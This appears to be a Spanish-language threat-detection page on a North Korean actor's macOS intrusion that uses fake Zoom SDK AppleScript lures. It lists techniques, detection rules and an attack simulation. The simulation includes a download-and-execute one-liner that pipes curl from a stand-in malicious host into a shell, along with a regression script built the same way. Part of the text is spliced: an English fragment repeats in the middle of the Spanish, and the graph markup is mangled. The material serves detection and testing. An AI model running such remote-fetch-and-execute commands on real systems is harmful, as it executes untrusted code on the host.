Disecando la intrusión de macOS por parte de Sapphire Sleet desde la atracción hasta el compromiso
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Microsoft Threat Intelligence ha informado sobre una campaña enfocada en macOS atribuida al actor estatal norcoreano Sapphire Sleet. La operación se basa en ingeniería social para persuadir a los objetivos de ejecutar archivos maliciosos de AppleScript presentados como una actualización legítima del SDK de Zoom. Una vez ejecutado, el script recupera cargas útiles adicionales a través de curl and osascript, expandiendo la intrusión en múltiples etapas. El malware está diseñado para robar credenciales, datos de billeteras de criptomonedas y otra información sensible mientras también evade las protecciones de seguridad nativas de macOS para permanecer activo en los sistemas comprometidos.
Investigación
La investigación describe una cadena de infección de múltiples etapas que comienza con un .scpt archivo de señuelo y continúa a través de una secuencia de curldescargas de cargas útiles. Los investigadores identificaron varios componentes de puerta trasera, incluidososascript -a- com.apple.cli, un binario de servicios, icloudz, y com.google.chromes.updaters. Los actores de la amenaza también fueron observados manipulando la base de datos TCC de macOS para obtener permisos de AppleEvents, usando técnicas de carga de código reflectante, y estableciendo persistencia a través de un demonio de lanzamiento. La actividad de exfiltración dependía de cadenas de agentes de usuario personalizadas y comunicaciones a través de la API de Telegram Bot.
Mitigación
Apple ya ha lanzado actualizaciones de Safe Browsing y XProtect para interrumpir la infraestructura de la campaña y los componentes de malware. Microsoft recomienda bloquear la ejecución de .scpt archivos, restringir curl pipelines no seguros, monitorear cambios no autorizados en la base de datos TCC, y auditar las instalaciones de demonios de lanzamiento en busca de entradas sospechosas. También se debe advertir a los usuarios sobre los mensajes no solicitados de actualización de software y aconsejarles que no proporcionen credenciales a través de diálogos o scripts inesperados.
Respuesta
Los defensores deben detectar la ejecución maliciosa de AppleScript, cadenas de agentes de usuario anormales, y conexiones salientes a dominios de comando y control conocidos. Cualquier binario identificado y demonio de lanzamiento debe ser puesto en cuarentena o eliminado inmediatamente, seguido por restablecimientos de credenciales para los usuarios afectados y la validación de la integridad de la base de datos TCC. Los respondedores de incidentes también deberían realizar un análisis forense en los artefactos del sistema recolectados y restaurar los datos afectados de copias de seguridad limpias cuando sea necesario. curl user-agent strings, and outbound connections to known command-and-control domains. Any identified binaries and launch daemons should be quarantined or removed immediately, followed by credential resets for affected users and validation of TCC database integrity. Incident responders should also perform forensic analysis on collected system artifacts and restore impacted data from clean backups wherever necessary.
graph TB %% Class definitions classDef technique fill:#99ccff classDef operator fill:#ff9900 %% Technique nodes tech_user_execution[«<b>Técnica</b> – <b>T1204.002 Ejecución por el Usuario: Archivo Malicioso</b><br/><b>Descripción</b>: Las víctimas son engañadas para ejecutar un archivo malicioso que inicia la intrusión.»] class tech_user_execution technique tech_trusted_dev_proxy[«<b>Técnica</b> – <b>T1127 Ejecución Proxy mediante Herramientas de Desarrollo Confiables</b><br/><b>Descripción</b>: Herramientas legítimas de desarrollo se usan como proxy para ejecutar cargas maliciosas, evitando controles de seguridad.»] class tech_trusted_dev_proxy technique tech_subvert_trust[«<b>Técnica</b> – <b>T1553 Subvertir Controles de Confianza</b><br/><b>Descripción</b>: Los adversarios manipulan relaciones o configuraciones de confianza para obtener privilegios elevados o ejecutar código.»] class tech_subvert_trust technique tech_launch_daemon[«<b>Técnica</b> – <b>T1543.004 Crear o Modificar Proceso del Sistema: Daemon de Inicio</b><br/><b>Descripción</b>: Se crea un nuevo daemon o se modifica uno existente para lograr persistencia.»] class tech_launch_daemon technique tech_alt_auth_material[«<b>Técnica</b> – <b>T1550 Uso de Material de Autenticación Alternativo</b><br/><b>Descripción</b>: Credenciales, tokens o certificados robados o falsificados se utilizan para autenticarse como usuario legítimo.»] class tech_alt_auth_material technique tech_archive_lib[«<b>Técnica</b> – <b>T1560.002 Archivado de Datos Recopilados: Mediante Biblioteca</b><br/><b>Descripción</b>: Los datos recopilados se comprimen usando una biblioteca de software antes de la exfiltración.»] class tech_archive_lib technique tech_exfil_alt_proto[«<b>Técnica</b> – <b>T1048 Exfiltración mediante Protocolo Alternativo</b><br/><b>Descripción</b>: Los datos se exfiltran usando protocolos no estándar como DNS, FTP o puertos personalizados.»] class tech_exfil_alt_proto technique tech_dynamic_resolution[«<b>Técnica</b> – <b>T1568 Resolución Dinámica</b><br/><b>Descripción</b>: El adversario resuelve infraestructura de comando y control en tiempo de ejecución, a menudo mediante DNS.»] class tech_dynamic_resolution technique tech_reflective_loading[«<b>Técnica</b> – <b>T1620 Carga de Código Reflectiva</b><br/><b>Descripción</b>: El código malicioso se carga directamente en memoria sin tocar el disco.»] class tech_reflective_loading technique tech_system_binary_proxy[«<b>Técnica</b> – <b>T1218.003 Ejecución Proxy mediante Binarios del Sistema</b><br/><b>Descripción</b>: Binarios confiables del sistema son utilizados para lanzar cargas maliciosas.»] class tech_system_binary_proxy technique tech_modify_auth_process[«<b>Técnica</b> – <b>T1556.001 Modificar Proceso de Autenticación: Controlador de Dominio</b><br/><b>Descripción</b>: Se alteran mecanismos de autenticación para aceptar credenciales falsificadas.»] class tech_modify_auth_process technique %% Connections showing attack flow tech_user_execution –>|leads_to| tech_trusted_dev_proxy tech_trusted_dev_proxy –>|enables| tech_subvert_trust tech_subvert_trust –>|creates| tech_launch_daemon tech_launch_daemon –>|uses| tech_alt_auth_material tech_alt_auth_material –>|prepares| tech_archive_lib tech_archive_lib –>|triggers| tech_exfil_alt_proto tech_exfil_alt_proto –>|facilitates| tech_dynamic_resolution tech_subvert_trust –>|employs| tech_reflective_loading tech_reflective_loading –>|updates| tech_launch_daemon tech_trusted_dev_proxy –>|leverages| tech_system_binary_proxy tech_system_binary_proxy –>|leads_to| tech_subvert_trust tech_alt_auth_material –>|supports| tech_modify_auth_process tech_modify_auth_process –>|continues| tech_exfil_alt_proto
Flujo de Ataque
Detecciones
Posibles Comunicaciones C2 a Través de HTTP a IP Directa con Puerto Inusual (via proxy)
Ver
Posible Ejecución Mediante El Uso de chmod y nohup en un Solo Comando (via cmdline)
Ver
Validación de Credenciales de MacOS via Dscl Authonly (via cmdline)
Ver
Intento de Ejecución Sospechosa de Curl [MacOS] (via cmdline)
Ver
Se Creó un Archivo en la Carpeta Temporal de MacOS (via file_event)
Ver
Se Establecieron Permisos Peligrosos para un Binario/Script/Carpeta (via cmdline)
Ver
IOCs (HashSha256) para detectar: Disecando la intrusión de Sapphire Sleet en macOS desde señuelo hasta compromiso
Ver
IOCs (SourceIP) para detectar: Disecando la intrusión de Sapphire Sleet en macOS desde señuelo hasta compromiso
Ver
IOCs (DestinationIP) para detectar: Disecando la intrusión de Sapphire Sleet en macOS desde señuelo hasta compromiso
Ver
Detección de Comunicación C2 de Sapphire Sleet [Conexión de Red de Linux]
Ver
Detección de Ejecución de AppleScript con Tubería Curl en macOS [Creación de Proceso de Linux]
Ver
Ejecución de Simulación
Prerequisito: El Check de Telemetría y Línea de Base Previa debe haber pasado.
Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa de Ataque y Comandos:
Un adversario ha obtenido un script malicioso al estilo de PowerShell alojado en un servidor remoto. Para evitar crear un binario independiente, aprovechan el intérprete nativo de AppleScript (osascript) y dirigen unacurldescarga directamente al intérprete, logrando una «descarga-ejecución» en un solo comando. Esto coincide con el patrón delosascript+curlde la regla.# Línea única maliciosa que debería activar la regla osascript -e 'do shell script "curl -s https://malicious.example.com/payload.sh | sh"'La línea de comando contiene tanto
osascriptandcurl, por lo que la condición de la regla Sigma (selección_osascript y selección_curl) evalúa como verdadera. -
Script de Prueba de Regresión:
# simulate_osascript_curl.sh # Propósito: Reproducir la telemetría exacta que debería activar la regla de detección. set -e # Define una carga inocua por seguridad (eco en lugar de código malicioso real) MALICIOUS_URL="https://example.com/benign_payload.sh" # Crear una carga inocua que solo imprime un mensaje. # En una prueba real de equipo rojo alojarías un script real; aquí lo mantenemos seguro. curl -s -o /tmp/benign_payload.sh "$MALICIOUS_URL" || true # Ejecutar el AppleScript con curl canalizado en un comando de shell. osascript -e "do shell script "curl -s $MALICIOUS_URL | sh"" -
Comandos de Limpieza:
# cleanup_osascript_curl.sh # Eliminar cualquier archivo temporal y terminar procesos errantes. rm -f /tmp/benign_payload.sh pkill -f "osascript -e"